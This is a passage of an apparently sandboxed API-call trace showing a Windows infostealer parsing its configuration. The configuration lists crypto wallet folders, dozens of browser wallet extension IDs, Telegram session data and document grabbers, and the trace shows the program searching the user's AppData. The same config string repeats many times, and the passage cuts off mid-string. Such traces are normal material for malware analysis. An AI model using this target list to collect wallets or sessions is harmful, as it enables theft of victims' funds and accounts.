Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.298] lstrlenW (lpString="daedalus:Daedalus;26;Daedalus Mainnet;*;log*,*cache,chain,dictionar*\nwlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3") returned 3564 [0266.298] LocalAlloc (uFlags=0x40, uBytes=0x1c58) returned 0x6f4830 [0266.298] StrCpyW (in: psz1=0x6f1ee8, psz2="log*,*cache,chain,dictionar*" | out: psz1="log*,*cache,chain,dictionar*") returned="log*,*cache,chain,dictionar*" [0266.299] LocalFree (hMem=0x6f4830) returned 0x0 [0266.299] StrToIntW (lpSrc="26") returned 26 [0266.299] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x6bf278 [0266.299] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x6bf278, csidl=26, fCreate=0 | out: pszPath="C:\\Users\\kEecfMwgj\\AppData\\Roaming") returned 1 [0266.299] PathCombineW (in: pszDest=0x6bf278, pszDir="C:\\Users\\kEecfMwgj\\AppData\\Roaming", pszFile="Daedalus Mainnet" | out: pszDest="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Daedalus Mainnet") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Daedalus Mainnet" [0266.299] LocalAlloc (uFlags=0x40, uBytes=0x2000) returned 0x6f4830 [0266.299] LocalAlloc (uFlags=0x40, uBytes=0x20a) returned 0x706630 [0266.299] StrCpyW (in: psz1=0x706630, psz2="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Daedalus Mainnet" | out: psz1="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Daedalus Mainnet") returned="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Daedalus Mainnet" [0266.299] FindFirstFileW (in: lpFileName="C:\\Users\\kEecfMwgj\\AppData\\Roaming\\Daedalus Mainnet\\*" (normalized: "c:\\users\\keecfmwgj\\appdata\\roaming\\daedalus mainnet\\*"), lpFindFileData=0x24f880 | out: lpFindFileData=0x24f880*(dwFileAttributes=0x6e272c, ftCreationTime.dwLowDateTime=0x751dc35e, ftCreationTime.dwHighDateTime=0x6bf278, ftLastAccessTime.dwLowDateTime=0x23, ftLastAccessTime.dwHighDateTime=0x24f89c, ftLastWriteTime.dwLowDateTime=0xe1, ftLastWriteTime.dwHighDateTime=0x24f8e2, nFileSizeHigh=0x3a0043, nFileSizeLow=0x55005c, dwReserved0=0x650073, dwReserved1=0x730072, cFileName="\\kEecfMwgj\\AppData\\Roaming\\Daedalus MainneЁ", cAlternateFileName="kk")) returned 0xffffffff [0266.300] LocalFree (hMem=0x6f4830) returned 0x0 [0266.300] LocalFree (hMem=0x6bf278) returned 0x0 [0266.300] LocalFree (hMem=0x6fe628) returned 0x0 [0266.301] LocalFree (hMem=0x700f70) returned 0x0 [0266.301] LocalFree (hMem=0x7038b8) returned 0x0 [0266.302] LocalFree (hMem=0x6ef5a0) returned 0x0 [0266.303] LocalFree (hMem=0x6f1ee8) returned 0x0 [0266.303] StrStrW (lpFirst="wlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch="wlts_") returned="wlts_mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.303] StrStrW (lpFirst="mymonero:MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=":") returned=":MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3" [0266.303] StrStrW (lpFirst="MyMonero;26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension Settings\news_coinbase:hnfanknocfeofbddgcijnmhnfnkdnaad;Coinbase;IndexedDB\news_auromina:cnmamaachppnkjgnildpdmkaakejnhae;AuroWallet;Local Extension Settings\news_khc:hcflpincpppdclinealmandijcmnkbgn;KHC;Local Extension Settings\news_tezbox:mnfifefkajgofkcjkemidiaecocnkjeh;TezBox;Local Extension Settings\news_coin98:aeachknmefphepccionboohckonoeemg;Coin98;Local Extension Settings\news_temple:ookjlbkiijinhpmnjffcofjonbfbgaoc;Temple;Local Extension Settings\news_iconex:flpiciilemghbmfalicajoolhkkenfel;ICONex;Local Extension Settings\news_sollet:fhmfendgdocmcbmfikdcogofphimnkno;Sollet;Local Extension Settings\news_clover:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_polymesh:jojhfeoedkpkglbfimdfabpdfjaoolaf;PolymeshWallet;Local Extension Settings\news_neoline:cphhlgmgameodnhkjdmkpanlelnlohao;NeoLine;Local Extension Settings\news_keplr:dmkamcknogkgcdfhhbddcghachkejeap;Keplr;Local Extension Settings\news_terra_e:ajkhoeiiokighlmdnlakpjfoobnjinie;TerraStation;Local Extension Settings\news_terra:aiifbnbfobpmeekipheeijimdpnlpgpp;TerraStation;Local Extension Settings\news_liquality:kpfopkelmapcoipemfendmdcghnegimn;Liquality;Local Extension Settings\news_saturn:nkddgncdjgjfcddamfgcmfnlhccnimig;SaturnWallet;Local Extension Settings\news_guild:nanjmdknhkinifnkgdcggcfnhdaammmj;GuildWallet;Local Extension Settings\news_phantom:bfnaelmomeimhlpmgjnjophhpkkoljpa;Phantom;Local Extension Settings\news_tronlink:ibnejdfjmmkpcnlpebklmnkoeoihofec;TronLink;Local Extension Settings\news_brave:odbfpeeihdkbihmopkbjmoonfanlbfcl;Brave;Local Extension Settings\news_meta_e:ejbalbakoplchlghecdalmeeeajnimhm;MetaMask;Local Extension Settings\news_ronin_e:kjmoohlgokccodicjjfebfomlbljgfhk;Ronin;Local Extension Settings\news_mewcx:nlbmnnijcnlegkjjpcfjclmcfggfefdm;MEW_CX;Sync Extension Settings\news_ton:cgeeodpfagjceefieflmdfphplkenlfk;TON;Local Extension Settings\news_goby:jnkelfanjkeadonecabehalmbgpfodjm;Goby;Local Extension Settings\news_ton_ex:nphplpgoakhhjchkkhmiggakijnkhfnd;TON;Local Extension Settings\news_Cosmostation:fpkhgmpbidmiogeglndfbkegfdlnajnf;Cosmostation;Local Extension Settings\news_bitkeep:jiidiaalihmmhddjgbnbgdfflelocpak;BitKeep;Local Extension Settings\news_gamestopext:pkkjjapmlcncipeecdmlhaipahfdphkd;GameStop;Local Extension Settings\news_stargazer:pgiaagfkgcbnmiiolekcfmljdagdhlcm;Stargazer;Local Extension Settings\news_clv:nhnkbkgjikgcigadomkphalanndcapjk;CloverWallet;Local Extension Settings\news_jaxxlibertyext:cjelfplplebdjjenllpjcblmjkfcffne;JaxxLibertyExtension;Local Extension Settings\nscrnsht_Screenshot.jpeg:1\ntlgrm_Telegram:Telegram Desktop\\tdata|*|*emoji*,*user_data*,*tdummy*,*dumps*\ngrbr_desktop:%USERPROFILE%\\Desktop\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_documents:%USERPROFILE%\\Documents\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ngrbr_downloads:%USERPROFILE%\\Downloads\\|*.txt,*.jpg|*windows*,*recycle*|6|1|1|files\ntoken:ecfd0f9298730a5c1fb78c7f49eedff3", lpSrch=";") returned=";26;MyMonero;*;*cache*\nwlts_xmr:Monero;5;Monero\\\\wallets;*.keys;-\nwlts_wasabi:Wasabi;26;WalletWasabi\\\\Client;*;*tor*,*log*\news_metax:mcohilncbfahbmgdjkbpemcciiolgcge;MetaX;Local Extension Settings\news_xdefi:hmeobnfnfcmdkdcmlblgagmfpfboieaf;XDEFI;IndexedDB\news_waveskeeper:lpilbniiabackdjcionkobglmddfbcjo;WavesKeeper;Local Extension Settings\news_solflare:bhhhlbepdkbapadjdnnojkbgioiodbic;Solflare;Local Extension Settings\news_rabby:acmacodkjbdgmoleebolmdjonilkdbch;Rabby;Local Extension Settings\news_cyano:dkdedlpgdmmkkfjabffeganieamfklkm;CyanoWallet;Local Extension 